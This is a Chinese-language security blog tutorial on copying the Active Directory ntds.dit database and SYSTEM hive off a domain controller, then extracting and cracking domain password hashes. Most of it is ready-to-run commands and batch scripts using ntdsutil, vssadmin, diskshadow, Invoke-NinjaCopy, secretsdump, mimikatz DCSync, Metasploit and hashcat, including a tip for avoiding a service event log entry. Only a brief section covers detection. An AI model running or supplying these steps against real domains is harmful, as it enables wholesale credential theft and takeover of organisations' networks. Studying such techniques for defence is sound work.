域控安全之ntds.dit导出
在通常的情况下,即使我们拥有域管理员的权限也是无法读取域控制器的C:\Windows\NTDS\ntds.dit文件,是因为活动目录始终访问着这个文件,所以禁止读取.使用windows的本地卷影拷贝就可以获得文件的副本
什么是卷影拷贝:卷影拷贝服务(Volume Shadow Copy Service,VSS)是Microsoft在Windows XP中开始引入的服务,但到了Windows Server 2003作为一个备份服务器功能独立出来,它能让用户在没有IT专业人员协助的情况下,更轻松地恢复丢失的文件。
Ntds.dit
什么是ntds.dit
在活动目录中,所有的数据都保存在ntds.dit中,ntds.dit是一个二进制文件,存储位置为域控制器的%SystemRoot%\ntds\ntds.dit。ntds.dit中包含(但不限于)用户名、散列值、组、GPP、OU等与活动目录相关的信息。而在非域环境也就是在工作组环境中,用户的密码等信息存储在SAM文件,想要破解SAM文件与Ntds.dit文件都需要拥有一个System文件。它和sam一样,是被Windows操作系统锁定的
如何利用:
在一般的情况下,系统的运维人员会利用卷影拷贝服务实验这些操作. VSS本质上属于快照技术的一种,主要用于备份和恢复(即使目标处于锁定的状态)
位置
ntds.dit文件位置: `C:\Windows\NTDS\NTDS.dit`
system文件位置:`C:\Windows\System32\config\SYSTEM`
sam文件位置:`C:\Windows\System32\config\SAM`
ntds.dit一般存储域用户的信息,sam是本机的,然后system里面存放了密钥,如果sam,ntds.dit要破解就需要system
提取ntds.dit
通过ntdsutil.exe 提取 ntds.dit
ntdsutil.exe是一个位活动目录(AD)提供管理机制的命令行工具。该工具默认安装在了域控制器上面,可以在域控制器上面直接操作,也可以通过域内机器在域控制器上远程操作.
支持的系统:windows server 2003 ,windows server 2008, windows server 2012。
1.创建一个快照
ntdsutil snapshot "activate instance ntds" create quit quit
该快照包含Windows中的所有文件,且在复制时不会受到Windows锁定机制的影响,需要管理员权限去执行
可以看到这边创建了一个GUID{06a1b343-93f9-4c1b-a613-d02c23f99759}
2.加载快照
ntdsutil snapshot "mount {06a1b343-93f9-4c1b-a613-d02c23f99759}" quit quit //这个后面的就是刚创建的ID
可以看到快照已经加载到了
路径: C:\$SNAP_202110151711_VOLUMEC$\
查看一下
确实存在了
3.拷贝快照
copy C:\$SNAP_202110151711_VOLUMEC$\windows\ntds\ntds.dit c:\windows\temp\ntds.dit
4.卸载删除快照
ntdsutil snapshot "unmount {06a1b343-93f9-4c1b-a613-d02c23f99759}" "delete {06a1b343-93f9-4c1b-a613-d02c23f99759}" quit quit
ntdsutil snapshot "mount <ID>" "delete <ID>" quit quit
5.查看一下快照
ntdsutil snapshot "List All" quit quit
使用 ntdsutil 的 IFM卷影拷贝提取Ntds.dit文件
通过上一个命令执行来实现创建快照,加载,拷贝,最后提去出来ntds.dit 同时也可以通过创建一个IFM,在使用ntdsutil创建IFM时,需要进行生成快照、加载、将{% label info@ntds.dit 和计算机的SAM文件复制到目标文件夹中等 %}操作
1.执行创建IFM
在域控制器中执行如下命令即可(需要域管理员权限,没有的会让其弹出UAC):
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
然后就会在c盘下的/test/Active Directory 会出现ntds.dit
同时test/registry也会出现system security文件
2.移动ntds.dit文件
copy "c:\test\Active Directory\ntds.dit" c:\
Copy-VSS.ps1
或者可以导入nishang中的Copy-VSS.ps1
Import-Module .\Copy-VSS.ps1
Copy-VSS
或者指定目录
Copy-VSS -DestinationDir C:\
这个脚本直接就在当前目录生成了。
PowerSploit中的Invoke-NinjaCopy脚本
下载地址
复制一些系统无法复制的文件,如sam文件( 管理员权限 )
命令使用
Invoke-NinjaCopy -Path <需要复制的文件> -LocalDestination <复制文件保存位置>
现在尝试复制出来ntds.dit ,system文件
Import-Module .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\ntds.dit"
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "C:\system.hive"
这种方法没有调用Volume Shadow Copy服务,所以不会产生日志文件7036(卷影拷贝服务进入运行状态的标志)。
通过vssadmin提取ntds.dit
vssadminn是Windows Server 2008及 Windows 7提供的VSS管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息(只能管理系统Provider 创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序( writers )和提供程序( providers ),以及改变卷影拷贝的存储空间(即所谓的“diff空间”)的大小等
操作vssadmin需要域管理员权限了
1.创建一个C盘的卷影拷贝
vssadmin create shadow /for=c:
2.将创建的卷影拷贝中的ntds.dit复制出来到c盘
copy 卷影副本卷名\windows\ntds\ntds.dit c:\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\ntds\ntds.dit c:\ntds.dit
3.删除卷影
vssadmin delete shadows /for=c: /quiet
拓展访问快照中的文件
访问快照中的文件
vssadmin list shadows //查看快照
当我们无法直接访问\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5中的文件
可通过创建符号链接访问快照中的文件:
mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\
删除符号链接:
rd c:\testvsc
利用思路:
如果当前系统存在快照文件,可对系统的历史文件进行访问。
通过vssown.vbs脚本
vssown.vbs脚本的功能和vssadmin类似。vssown.vbs脚本是由Tim Tomes 开发的,可用于创建和删除卷影拷贝,以及启动和停止卷影拷贝服务。
脚本下载:https://github.com/lanmaster53/ptscripts/blob/master/windows/vssown.vbs
需要域管理员权限操作
1.启动卷影拷贝服务
cscript vssown.vbs /start
cscript命令专用于执行要在命令行环境中运行的脚本
2.创建一个C盘的卷影拷贝
cscript vssown.vbs /create c
执行命令列出当前已经创建的卷影拷贝:
cscript vssown.vbs /list
主要关注ID和Device object,这是把ntds.dit复制出来和删除的关键
ID:{DF222F60-F8F3-459E-ABF9-399519FAD8B4}
存储位置:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5
3.在创建的卷影拷贝中将ntds.dit复制到C盘中
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\NTDS\ntds.dit C:\ntds.dit
4.得到Ntds.dit的副本之后,将刚刚创建的卷影拷贝删除
cscript vssown.vbs /delete {DF222F60-F8F3-459E-ABF9-399519FAD8B4}
使用diskshadow导出ntds.dit
diskshadow.exe这款工具可以使用卷影拷贝服务(VSS)所提供的多个功能。在默认配置下,diskshadow.exe使用了一种交互式命令解释器,Windows Server 2008、Windows Server 2012和 Windows Server 2016都默认包含diskshadow,所以,diskshadow 也可以用来操作卷影拷贝服务并导出ntds.dit,diskshadow的功能与vshadow类似,且同样位于C:\windows\system32\ 目录下。
diskshadow有交互和非交互两种模式。在使用交互模式时,需要登录远程桌面的图形化管理界面。不论是交互模式还是非交互模式,都可以使用exec调取一个脚本文件来执行相关命令,还可以使用 diskshadow.exe 来执行计算器。
diskshadow.exe 来执行计算器
1、通过echo创建文件
echo exec c:\windows\system32\calc.exe > c:\users\liukaifeng01\Desktop\cmd.txt
把执行计算机的命令写进去
2.使用diskshadow.exe执行创建的文件
diskshadow.exe /s c:\command.txt
diskshadow.exe 导出ntds.dit
将一下命令复制到一个txt文件里面
#设置卷影拷贝
set context persistent nowriters
#添加卷
add volume c: alias someAlias
#创建快照
create
#分配虚拟磁盘盘符
expose %someAlias% k:
#复制ntds.dit到C:\ntds.dit
exec "cmd.exe" /c copy k:\windows\ntds\ntds.dit c:\ntds.dit
#删除所有快照
delete shadows all
#列出系统中的卷影拷贝
list shadows all
#重置
reset
#退出
exit
diskshadow.exe 导出ntds.dit的时候最好把路径选择在system32去执行,不然会报错
监控卷影拷贝服务的使用情况
通过监控卷影拷贝服务的使用情况,可以及时发现攻击者在系统中进行的一些恶意操作。
- 监控卷影拷贝服务及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为。
- 监控 System Event ID 7036(卷影拷贝服务进行运行状态的标志)的可疑事例,以及创建 vssvc.exe 进程的事件。
- 监控创建 diskshadow.exe 及相关子进程的事件。
- 监控客户端设备中的 diskshadow.exe 实例创建事件。除非业务需要,在Windows操作系统中不应该出现 diskshadow.exe。如果发现,应立刻将其删除。
- 通过日志监控新出现的逻辑驱动器映射事件。
调用Volume Shadow Copy(卷影拷贝)服务会产生日志文件,位于System下,Event ID为7036
注意在执行ntdsutil的时候事件日志会产生Event ID为98的日志文件
ntdsutil snapshot "activate instance ntds" create quit quit
导出SYSTEM文件
在我们前面导出ntds.dit之后我们还需要导出system的文件,将system.hive转储,因为system.hive中存放着ntds.dit的密钥。
在前面的方法中已经有了copy-vss还有PowerSploit中的Invoke-NinjaCopy的方法
1.通过注册表的方式导出
reg save hklm\system c:\system.hive
2.copy-VSS
详细见上面
3.invoke-ninjacopy
详细见上面
导出ntds.dit的散列值
取出了ntds.dit,但是不去导出散列值那么获取了也是没有意义。
Esedbexport
1.利用Esedbexport恢复ntds.dit并导出用户表信息
利用这个工具的目的就是从目标系统中导出ntds.dit放到本地中去解析
首先下载链接:https://github.com/libyal/libesedb/releases/tag/20210424
apt-get install autoconf automake autopoint libtool pkg-config //安装依赖环境
剩下的都是编译下载安装
wget https://github.com/libyal/libesedb/releases/tag/20210424/libesedb-experimental-20210424.tar.gz
cd libesedb-experimental-20210424
./configure
make && make install && ldconfig
安装成功后就会在以下目录看到存在
然后我们进入存档ntds.dit的目录,使用esedbexport进行恢复操作
esedbexport -m tables ntds.dit
如果提取成功的话,会在当前目录下生成一个ntds.dit.export文件夹。
只需要其中的datatable.3和link_table.5即可
2.导出域散列值
这边利用的是ntdsxtract工具去导出,该工具不仅能够提取与用户对象、组对象、计算机对象相关的信息,同时还能从NTDS.dit文件中删除对象。
git clone https://github.com/csababarta/ntdsxtract.git
继续输入如下命令,安装ntdsxtract。
python setup.py build && python setup.py install
将导出的datatable.3、link_table.5这两个表和之前获得的SYSTEM文件一并放入ntdsxtract的文件夹中
输入如下命令。
dsusers.py <datatable> <link_table> <output_dir> --syshive <systemhive> --passwordhashes <format options> // 命令格式
python dsusers.py datatable.3 link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee result.txt //注意大小写,我复制进去的SYSTEM是大写的
或者导出csv格式也可以,还具有一个“dscomputers.py”工具可以从分离出来的表中提取域中计算机信息
python dscomputers.py ntds.dit.export/datatable.3 computer_output --csvoutfile result.csv
当然有了散列值之后那么获取密码就可以通过破解去,常见mimikatz获取明文密码,ophcrack在线破解,hashcat等
就拿ntlm hash来举例子去破解
liukaifeng01:afffeba176210fad4628f0524bfe1942 //这是刚才导出的hash值
打开hashcat
hashcat -m 1000 afffeba176210fad4628f0524bfe1942 3.txt --force //-m 就是ntlm hash的破解参数
成功破解出来
secretsdump
1.使用Impacket中的secretsdump
secretsdump.py有一个本地选项,可以解析Ntds.dit文件并从Ntds.dit中提取哈希散列值和域信息。在此之前,我们必须获取到Ntds.dit和SYSTEM这两个文件。如果条件满足,你可以执行以下命令:
python2 secretsdump.py -system system -ntds ntds.dit LOCAL
首先下载impacket工具包
git clone https://github.com/SecureAuthCorp/impacket.git
然后安装
python setup.py install
开始提取
也可以直接通过用户名和散列值进行验证,从远程域控制器中读取ntds.dit并转储域散列值,命令如下。
python2 secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:afffeba176210fad4628f0524bfe1942 -just-dc god.org/liukaifeng01r@x.x.x.x
在线提取Ntds.dit中的哈希
1.利用dcsync获取域散列值
DCSync是Mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,其能够利用卷影拷贝服务直接读取ndts.dit并导出域内所有用户的哈希值。需要管理员权限.
打开mimikatz(管理员权限)
lsadump::dcsync /domain:god.org /all /csv
当然也可以指定用户
lsadump::dcsync /domain:god.org /user:ligang
或者直接对lsass的进程导出
privilege::debug
lsadump::lsa /inject
2.使用powershell的DCSync脚本导出
下载地址:https://gist.github.com/monoxgas/9d238accd969550136db
该脚本通过Invoke-ReflectivePEinjection调用mimikatz.dll中的dcsync功能,并利用dcsync直接读取ntds.dit得到域用户密码散列值。
Import-Module .\Invoke-DCSync.ps1
Invoke-DCSync -DumpForest | ft -wrap -autosize // 导出域内所有用户的hash
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize // 导出域内administrator账户的hash
3.使用 Metasploit 获取域散列值*
前提已经获取到了一个会话
post/windows/gather/ntds_location 该模块可查看路径ntds
post/windows/gather/smart_hashdump 在线导出域账户hash 建议2012及以上使用auxiliary/admin/smb/psexec_ntdsgrab 利用域管账户,导出ntds必要文件到本地
post/windows/gather/ntds_grabber 利用powershell将ntds必要文件下载到本地后导出
拿到会话之后
1.查看ntds安装路径
run windows/gather/ntds_location
2.通过smart_hashdump查看域内散列值
run windows/gather/smart_hashdump
3.利用powershell下载ntds.dit
use post/windows/gather/ntds_grabber
set session 3
run
/root/.msf4/loot/20211018135814_default_192.168.100.130_CabinetFile_222548.cab
上面这个是生成的路径,复制出来查看
cp /root/.msf4/loot/20211018135814_default_192.168.100.130_CabinetFile_222548.cab /tmp
打开就能看到了
使用这个模块这可以获取到
use auxiliary/admin/smb/psexec_ntdsgrab
因为我复现失败,没找到具体原因就不放截图。
使用vsshadow.exe 和 QuarkPwDump.exe 导出域账号和散列值
在正常的域环境中,ntds.dit文件里包含大量的信息,体积较大,不方便保存到本地。如果域控制器上没有安装杀毒软件,攻击者就能直接进入域控制器,导出ntds.dit并获得域账号和域散列值,而不需要将ntds.dit保存到本地。
下载地址:https://github.com/redcanari/quarkspwdump/releases/download/0.3a/QuarksPwDump-0.3a.zip
vshadow.exe
现在官方不提供 vshadow.exe 的直接下载了,可以安装官方 JDK,在安装目录下可以找到 vshadow.exe,这里要注意操作系统的版本,特别是 xp 和 server 2003。 下载链接: https://www.msxfaq.de/tools/mswin/vshadow.htm
其实对这个SDK很有疑惑,说安装Microsoft .NET Framework 就有SDK,然后再命令行执行也没有结果,网上找了半天也发现下载的地址,于是去公众号搜索,真就有大佬写了这个过程(https://mp.weixin.qq.com/s/ABPg8NFugBqleO6v6k9LSA)
把这三个放在一个文件夹下面
创建ShadowCopy.bat
setlocal
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
set SOURCE_DRIVE_LETTER=%SystemDrive%
set SOURCE_RELATIVE_PATH=\windows\ntds\ntds.dit
set DESTINATION_PATH=%~dp0
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
echo mkdir C:\Temp > GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
"%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%
当我运行脚本的时候出现这个问题,是因为权限不够
以管理员权限运行
换一个脚本,可以读取ntds.dit和system.hive
setlocal
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
set SOURCE_DRIVE_LETTER=%SystemDrive%
set SOURCE_RELATIVE_PATH=windows\ntds\ntds.dit
set DESTINATION_PATH=%~dp0
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
"%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%
reg save hklm\system system.hive
运行如下命令修复复制出来的数据库。
esentutl /p /o ntds.dit
最后再导出来
QuarksPwDump.exe -dhd -sf system.hive -nt ntds.dit -o log.txt
参考链接:
https://xie1997.blog.csdn.net/article/details/104227572
https://www.freebuf.com/articles/network/251267.html
https://mp.weixin.qq.com/s/EWruvHJ8p54UUWTdbCzefA
https://xz.aliyun.com/t/2187#toc-5
https://mp.weixin.qq.com/s/ABPg8NFugBqleO6v6k9LSA
原文链接:https://www.freebuf.com/articles/web/354870.html